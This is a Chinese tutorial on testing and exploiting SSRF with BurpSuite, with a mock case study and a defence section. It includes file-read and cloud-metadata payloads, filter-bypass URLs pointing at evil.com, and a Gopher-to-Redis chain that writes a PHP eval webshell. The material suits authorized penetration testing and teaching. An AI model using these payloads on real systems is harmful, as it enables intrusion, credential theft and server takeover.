1. 项目概述:从抓包到攻击,理解SSRF与Burp的协同作战
如果你已经用BurpSuite抓过包、做过爆破,甚至尝试过SQL注入,那么恭喜你,你已经迈入了Web安全实战的大门。但安全测试的深度远不止于此,今天我们要聊的是一个在渗透测试和CTF比赛中都极具威力的漏洞类型——SSRF(服务器端请求伪造)。这个漏洞之所以危险,是因为它允许攻击者从存在漏洞的服务器内部发起网络请求,从而绕过防火墙、访问内部系统,甚至攻击内网中那些原本“与世隔绝”的服务。而BurpSuite,作为我们手中的瑞士军刀,正是发现、验证和利用SSRF漏洞的绝佳平台。这篇文章,我将结合自己踩过的坑和实战经验,带你从原理到实操,一步步掌握如何用BurpSuite玩转SSRF,并附上一个完整的实战案例拆解,让你不仅能看懂,更能亲手复现。
简单来说,SSRF就像是你骗一个保安(存在漏洞的Web服务器)帮你从公司内部(内网)取一份机密文件。保安有内部通行证,可以自由出入,而你没有。但如果你能伪造一个看起来合理的指令(恶意请求)让保安去执行,他就能把文件带出来给你。BurpSuite在这个过程中扮演的角色,就是帮你精心构造这个“指令”,并分析保安(服务器)的每一次反应,找到那个可以让他听话的漏洞点。无论是探测内网端口、读取本地文件,还是利用协议(如Gopher、Dict)进行更深层次的攻击,BurpSuite的Repeater、Intruder乃至Collaborator客户端都是不可或缺的利器。
2. SSRF漏洞核心原理与危害场景深度解析
2.1 SSRF到底是如何发生的?
要利用一个漏洞,首先得理解它为何会产生。SSRF的根源在于:服务器提供了从其他服务器获取数据的功能,但未对用户提供的目标URL进行充分、严格的校验和过滤。
想象一个常见的业务场景:一个Web应用提供了“网页快照”、“转码服务”或“URL内容预览”功能。你输入一个网址,比如https://www.example.com,服务器端会去请求这个网址,然后把内容抓取回来展示给你看。这个过程本身是正常的。问题出在,如果攻击者输入的URL不是https://www.example.com,而是file:///etc/passwd或者http://127.0.0.1:8080/admin呢?
一个缺乏防护的服务器端代码可能会直接使用类似curl、file_get_contents这样的函数去获取用户传入的URL。如果没有任何限制,攻击者就可以:
- 访问服务器本地文件:使用
file://协议读取系统敏感文件。 - 探测内网服务:使用
http://192.168.1.1:8080这样的内网地址,探测公司内部的管理后台、数据库等未公开的服务。 - 与内部系统交互:如果内网服务存在漏洞(如Redis未授权访问),攻击者甚至可以构造特定协议的请求(如Gopher协议)来直接执行命令,实现从SSRF到RCE(远程代码执行)的飞跃。
关键在于,这些请求都是从受信任的服务器内部发起的。防火墙规则通常只限制外部到内部的访问,而不会限制服务器本身对内部其他机器的访问。这就给攻击者打开了一扇通往内网的“后门”。
2.2 SSRF的常见攻击面与潜在危害
理解了原理,我们来看看SSRF具体能做什么,危害有多大。这决定了我们在测试时的关注点。
1. 端口扫描与内网资产发现这是SSRF最基础的应用。通过将URL参数改为http://127.0.0.1:22、http://127.0.0.1:3306等,根据服务器的响应时间、状态码或返回内容差异,可以判断目标端口是否开放。利用BurpSuite的Intruder模块,可以自动化地对一个IP段的所有端口进行批量探测,快速绘制出服务器所在内网的资产地图。
注意:这种扫描会产生大量网络请求,在真实测试中务必获得授权,并在测试环境进行。不同应用对错误端口的响应差异很大,有的可能直接连接超时(Timeout),有的可能返回统一的错误页面,需要仔细分析。
2. 读取本地敏感文件当服务器支持file://协议时,攻击者可以直接读取服务器上的文件。例如:
file:///etc/passwd(Linux系统用户信息)file:///C:/Windows/System32/drivers/etc/hosts(Windows主机文件)file:///proc/self/environ(当前进程环境变量,可能包含密钥)- 应用源码、配置文件等。
3. 攻击内网脆弱应用这是SSRF危害升级的关键。假设内网有一台Redis服务器(默认端口6379)仅监听在127.0.0.1,且未设置密码。从外网无法直接连接。但如果存在SSRF,攻击者可以构造一个特殊的HTTP请求,其Body部分实际上是一个符合Redis协议的指令。通过利用Gopher或Dict协议(它们能发送多行指令),可以将这个请求发送到内网的Redis,从而执行flushall、config set dir、set等命令,最终可能实现写入Webshell。
4. 绕过访问控制与身份验证有些内部管理界面(如http://192.168.1.100/admin)可能只允许来自内网IP的访问。通过SSRF,攻击者可以以服务器的身份“合法”地访问这些界面。如果该管理界面存在其他漏洞(如弱口令),风险将进一步叠加。
5. 与云元数据服务交互在云环境(如AWS、阿里云、腾讯云)中,实例内部可以通过一个固定的内网地址(如http://169.254.169.254)访问元数据服务,获取实例的敏感信息,如临时安全凭证(Token)。如果服务器存在SSRF,攻击者就可能通过它窃取这些凭证,进而控制整个云服务器实例,甚至横向移动至其他资源。这是云上SSRF最危险的利用方式之一。
3. BurpSuite工具箱:针对SSRF的专项武器配置
工欲善其事,必先利其器。BurpSuite的各个模块在SSRF测试中各有妙用,正确的配置能极大提升效率。
3.1 Proxy与Repeater:基础探测与手动验证
Proxy(代理)是整个测试的流量枢纽。确保你的浏览器或测试工具流量正确经过BurpSuite。对于SSRF测试,一个关键技巧是设置上游代理(Upstream Proxy)或使用Burp Collaborator。为什么?因为很多SSRF漏洞是“盲打”的,即服务器执行了请求,但响应内容不直接返回给前端。你需要一个外部的、受你控制的服务器来接收这些“出网”的请求,以证明漏洞确实存在。
Repeater(重放器)是你手工测试的主战场。当你从Proxy的历史记录中找到一个疑似存在SSRF的参数(比如url=、path=、file=)时,把它发送到Repeater。在这里,你可以:
- 修改协议:尝试将
http://改为file://、gopher://、dict://、ftp://。 - 修改主机地址:尝试
127.0.0.1、localhost、0.0.0.0、169.254.169.254(云元数据)、192.168.0.1等。 - 修改端口:针对常见服务端口进行探测,如21(FTP)、22(SSH)、80(HTTP)、443(HTTPS)、6379(Redis)、27017(MongoDB)等。
- 观察响应:仔细对比不同请求的响应差异。响应时间变长可能意味着端口开放但服务未响应;返回特定的错误信息(如连接被拒绝、超时)或成功获取到内容,都能提供宝贵信息。
3.2 Intruder:自动化端口与服务发现
手动在Repeater里改端口号效率太低。这时就该Intruder(入侵者)上场了。它的核心作用是自动化批量攻击。
实战配置步骤:
- 在Repeater中,构造一个基础的SSRF测试请求,如
GET /api/fetch?url=http://127.0.0.1:§80§。 - 右键发送到Intruder。
- 在Positions标签页,清除所有自动标记,只在你需要爆破的端口号位置(例如
80)添加§符号。 - 在Payloads标签页,选择Payload type为
Numbers。根据情况设置范围(From 1 To 10000,步长 Step 为1)。对于内网探测,可以先快速扫1-1024的常见端口。 - 在Options标签页,建议进行以下关键设置:
- Grep - Match:添加一些关键词,如“root:”、“Redis”、“MySQL”、“Error”、“Timeout”,便于在结果中快速筛选。
- Grep - Extract:可以提取响应中特定位置的内容,比如标题、特定标签内容,用于对比。
- Request Engine:将线程(Threads)调低,比如设置为5-10。端口扫描对目标负载较大,低速、稳定的请求更有利于观察和避免被屏蔽。
点击“Start attack”,Intruder就会开始工作。你需要重点关注:
- 状态码(Status):200、302等可能表示成功;400、403、500等需要结合响应分析。
- 响应长度(Length):长度与其他请求显著不同的响应,很可能对应一个开放且返回了不同内容的服务。
- 响应时间(Time):响应时间过长的请求,可能对应一个开放但未正确响应的端口(如半开放状态)。
3.3 Collaborator:盲SSRF的“眼睛”
这是BurpSuite专业版中对付盲SSRF的神器。Burp Collaborator是一个由PortSwigger官方维护的公共网络服务,它可以生成一个临时的、唯一的子域名(如xxxxxx.oastify.com)。
工作原理:
- 你在测试的SSRF参数中插入这个Collaborator域名,例如
http://xxxxxx.oastify.com。 - 如果目标服务器存在SSRF并执行了这个请求,它就会尝试去解析并访问
xxxxxx.oastify.com。 - Collaborator服务器会记录下这次DNS查询和可能的HTTP/HTTPS请求。
- 你在BurpSuite中点击“Poll now”,就能看到是否有交互记录。
这完美解决了“盲”的问题——即使服务器不返回任何外部请求的结果,只要它发起了请求,你就能知道漏洞存在。你可以在Project options -> Misc -> Burp Collaborator server中配置和使用它。在Intruder中,你甚至可以使用Collaborator作为Payload,进行大规模的盲SSRF探测。
3.4 Decoder与Comparer:数据构造与响应分析
Decoder(解码器)在构造复杂Payload时非常有用。例如,当你需要利用Gopher协议攻击Redis时,你需要将Redis命令转换成URL编码格式。你可以先在Decoder中写好原始命令,然后进行多次URL编码,以适应不同场景的过滤规则。
Comparer(对比器)用于精细比较两个响应的差异。在端口扫描时,两个不同端口的响应可能只有细微差别。用Comparer的“Words”或“Bytes”对比模式,可以高亮显示差异点,帮助你判断端口状态。
4. 实战案例拆解:从漏洞发现到内网Redis攻防
下面,我将通过一个模拟的实战场景,串联起上述所有技术和工具的使用。假设我们目标是一个在线文档转换服务,它有一个功能是“获取网页内容生成PDF”,请求接口如下:
POST /convert HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded url=https%3A%2F%2Fwww.example.com&format=pdf4.1 第一步:漏洞发现与初步验证
- 拦截请求:使用Burp Proxy拦截上述功能发出的请求,并发送到Repeater。
- 基础测试:修改
url参数为http://127.0.0.1。观察响应。如果返回了类似“连接被拒绝”的错误,或者响应时间明显变长,说明服务器确实尝试连接了本地地址,存在SSRF嫌疑。如果返回“非法URL”等,则可能进行了基础过滤。 - 绕过常见过滤:
- 域名重写:尝试
http://127.0.0.1.xip.io(xip.io会将任何子域名解析到对应的IP)。 - 进制转换:尝试
http://0x7f000001(127.0.0.1的十六进制)、http://2130706433(127.0.0.1的十进制)。 - URL编码:对点号、斜杠进行编码,如
http://127%2e0%2e0%2e1。 - 利用解析差异:尝试
http://127.0.0.1:80@evil.com,某些解析库可能会将@前的内容视为认证信息,实际连接到evil.com。
- 域名重写:尝试
- 使用Collaborator确认:如果上述测试响应不明确,构造
url=http://your-collaborator-subdomain.oastify.com并发送。然后在Burp中Poll Collaborator,查看是否有HTTP或DNS交互记录。如果有,则确认存在盲SSRF。
4.2 第二步:内网端口扫描与资产测绘
确认漏洞后,开始探测内网。假设服务器IP是192.168.1.100。
- 构造请求:在Repeater中固定Payload为
url=http://192.168.1.§1§:§80§。这里我们打算同时爆破IP的最后一段和端口。 - 配置Intruder进行集群爆破:
- 在Positions标签,选择攻击类型为Cluster bomb(集群炸弹),它适用于多个Payload集且需要交叉组合。
- 设置两个Payload位置:一个在IP的最后一节(§1§),一个在端口(§80§)。
- 在Payloads标签,设置Payload set 1:类型为
Numbers,范围1-254,步长1,代表内网IP的C段。 - 设置Payload set 2:类型为
Simple list,手动添加常见端口列表,如80,443,8080,8443,22,21,23,25,110,143,3306,3389,6379,27017,9200,9300。
- 启动攻击与分析:开始攻击后,根据状态码、长度和时间进行排序和筛选。很快,我们可能发现
192.168.1.150:6379的响应长度与其他“连接被拒绝”的请求不同,可能返回一个-或者特定的错误头,这强烈暗示着一台Redis服务。
4.3 第三步:深入利用——攻击内网Redis服务
发现内网Redis(192.168.1.150:6379)后,我们的目标从探测升级为利用。
理解Gopher协议攻击Redis的原理: Redis使用一种简单的行协议。命令flushall的通信数据是*1\r\n$8\r\nflushall\r\n。Gopher协议可以发送多行文本到指定TCP端口。因此,我们可以构造一个Gopher URL,让存在SSRF的服务器向Redis发送恶意命令。
使用BurpSuite构造攻击Payload:
- 编写Redis命令脚本:我们计划写一个Webshell到Web目录。假设Web目录是
/var/www/html。flushall config set dir /var/www/html config set dbfilename shell.php set webshell "<?php @eval($_POST['cmd']);?>" save - 转换为Redis协议格式:这是一个多步操作。可以使用Python脚本或在线工具转换。以
flushall为例:*1\r\n$8\r\nflushall\r\n。将所有命令按此格式转换并拼接。 - 构造Gopher URL:Gopher URL格式为
gopher://<host>:<port>/_<TCP数据流>。注意数据流需要经过一次URL编码。- 原始TCP流:
*1\r\n$8\r\nflushall\r\n*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$15\r\n/var/www/html\r\n...(太长,此处省略完整流)。 - 对整个数据流进行URL编码。
- 原始TCP流:
- 在Repeater中测试:将最终的Gopher URL作为
url参数的值发送。例如:url=gopher%3A%2F%2F192.168.1.150%3A6379%2F_%2A1%250D%250A%248%250D%250Aflushall%250D%250A... - 验证利用结果:利用成功后,访问
http://target.com/shell.php(假设目标Web服务与Redis在同一台机器或目录可访问),并使用蚁剑等工具连接,密码为cmd,即可获得服务器权限。
实操心得:在实际测试中,成功率受多种因素影响。1)Redis版本和配置(可能禁用了高危命令);2)Web目录的权限;3)网络可达性(Redis可能只绑定127.0.0.1,即使在同一内网,192.168地址也无法访问)。因此,在实战中需要灵活调整命令,例如先尝试
info命令获取信息,再决定下一步行动。
5. 防御视角与绕过技巧:站在开发者的角度思考
作为一名合格的安全测试者,不仅要会攻击,更要理解如何防御,这样才能发现更隐蔽的绕过方式。
5.1 常见的SSRF防御方案及其局限性
黑名单过滤:禁止
127.0.0.1、localhost、192.168.、10.、172.16.等内网地址和域名。绕过方法:- 使用进制、八进制、十六进制、混合进制表示IP。
- 使用域名重定向服务:
127.0.0.1.xip.io、localtest.me。 - 使用指向本地的域名:
127.0.0.1.nip.io。 - 利用URL解析差异:
http://foo@127.0.0.1@bar.com/、http://127.0.0.1.burpcollaborator.net。 - 使用IPv6地址
[::]或[::1]代表本地。 - 使用CIDR表示法绕过:
127.127.127.127/8在某些解析库中可能被允许。
白名单过滤:只允许访问特定的、可信的域名(如
*.example.com)。这是最有效的方法。绕过方法(较难):- 寻找白名单域名的子域名劫持或开放重定向漏洞。例如,如果允许
*.target.com,可以尝试利用hack.target.com(假设你可控)进行二次跳转。 - 利用DNS重绑定攻击。这是高级技巧,原理是控制一个域名,使其在第一次解析时返回一个允许的外网IP,在服务器发起请求时(TTL过后第二次解析)返回一个内网IP。这需要精心构造。
- 寻找白名单域名的子域名劫持或开放重定向漏洞。例如,如果允许
禁用危险协议:在代码层面或网络层面禁用
file://、gopher://、dict://、ftp://等协议。绕过方法:- 尝试不常用的协议,如
ldap://、tftp://。 - 利用HTTP/HTTPS协议进行端口扫描和攻击内网HTTP服务。
- 利用URL解析器对协议处理的特性,如
http://127.0.0.1:80#@evil.com/,http://127.0.0.1:80?@evil.com/。
- 尝试不常用的协议,如
响应内容检查:服务器获取URL内容后,检查返回的内容是否包含敏感信息(如
root:、<?php),或是否为预期的文件类型(如图片)。绕过方法:- 利用分块传输编码(Chunked Transfer Encoding)在响应体中隐藏恶意内容。
- 将恶意内容放在HTTP响应头中(如果服务器会回显头部)。
- 使用外部服务返回一个符合检查要求的响应(如图片),但该服务会根据特定参数(如Cookie)动态返回恶意内容。
5.2 针对云元数据服务的特殊攻击与防御
云元数据服务(如AWS的169.254.169.254)是SSRF的“高价值目标”。防御通常需要结合云服务商的安全组策略和应用程序代码。
- 攻击:直接请求
http://169.254.169.254/latest/meta-data/或http://169.254.169.254/latest/user-data。对于新版元数据服务(IMDSv2),需要先获取令牌,构造形如PUT /latest/api/token和GET /latest/meta-data/的请求序列。这完全可以通过BurpSuite的Repeater手动构造或Intruder自动化完成。 - 防御:启用IMDSv2(需要令牌),并为实例配置仅允许必要进程访问元数据服务的安全策略。在应用代码中,应彻底禁止向该IP段发起请求。
6. 排查清单与高级技巧:让测试更高效、更深入
在实际测试中,你可能会遇到各种奇怪的现象。这里分享一份我常用的排查清单和几个高级技巧。
SSRF测试排查清单:
| 现象 | 可能原因 | 下一步行动 |
|---|---|---|
| 修改为内网IP后,请求长时间无响应或超时。 | 1. 目标端口开放但服务未响应。 2. 网络策略禁止或超时设置过长。 3. 服务器端有延迟触发机制。 | 1. 尝试其他端口。 2. 使用Collaborator确认请求是否发出。 3. 增加超时等待时间观察。 |
| 返回统一的错误页面(如“服务异常”)。 | 应用层做了统一错误处理,屏蔽了细节。 | 1. 对比错误页面的细微差异(长度、隐藏标签)。 2. 尝试盲SSRF利用(Collaborator)。 3. 测试不同协议看错误是否变化。 |
| 返回“URL不合法”或“禁止访问”。 | 前端或后端有基础过滤。 | 1. 尝试各种绕过技术(编码、特殊格式)。 2. 检查是否在HTTP头或其他参数中注入。 |
| 请求外网URL正常,请求内网IP也返回相同内容。 | 服务器可能使用了反向代理或中间件,请求并未真正到达内网。 | 1. 尝试访问一个不存在的内网IP,看是否返回相同内容(可能是缓存或默认页)。 2. 尝试使用Collaborator,看DNS解析是否发生。 |
| 利用Gopher攻击Redis无效果。 | 1. Redis服务受保护(有密码)。 2. 网络不通。 3. Gopher协议被禁用。 4. Payload构造错误。 | 1. 先尝试info命令探测。2. 使用 dict://协议尝试(dict://192.168.1.150:6379/info)。3. 在本地搭建环境复现,检查Payload。 |
高级技巧:
- 利用Intruder的“Grep - Extract”进行指纹识别:在端口扫描时,可以提取响应中的
<title>标签内容或特定关键字。当扫描到80端口时,如果提取到的标题是“Tomcat管理后台”,就能立刻识别出服务。 - 结合Burp扩展:如
SSRF Helper、Param Miner等扩展可以自动化发现参数、测试SSRF,提升效率。 - 关注非HTTP参数:SSRF漏洞点不一定在
url、path这样的明显参数里。JSON/XML正文中的字段、Cookie值、甚至HTTP头(如X-Forwarded-For、Referer)都有可能被后端服务器不当信任并用于发起请求。 - 二阶SSRF:有时,SSRF触发的请求会经过另一个服务(如图片处理服务、文档解析服务)。测试时,可以尝试让服务器访问一个你控制的、会返回302重定向的页面,重定向目标指向内网地址。如果第二个服务跟随了重定向,就可能实现攻击。
SSRF的测试是一场与开发者过滤逻辑的博弈。它要求测试者不仅熟悉各种协议、编码和绕过技巧,更需要有耐心和细致的观察力。BurpSuite提供了从发现、验证到利用的全套工具链,但最终能否成功,取决于你对目标系统行为逻辑的深刻理解。每一次响应差异的分析,每一次Payload的精心构造,都是通向内网深层的钥匙。记住,在合法授权的范围内,不断练习和思考,你会逐渐培养出发现这种“由内而外”漏洞的直觉。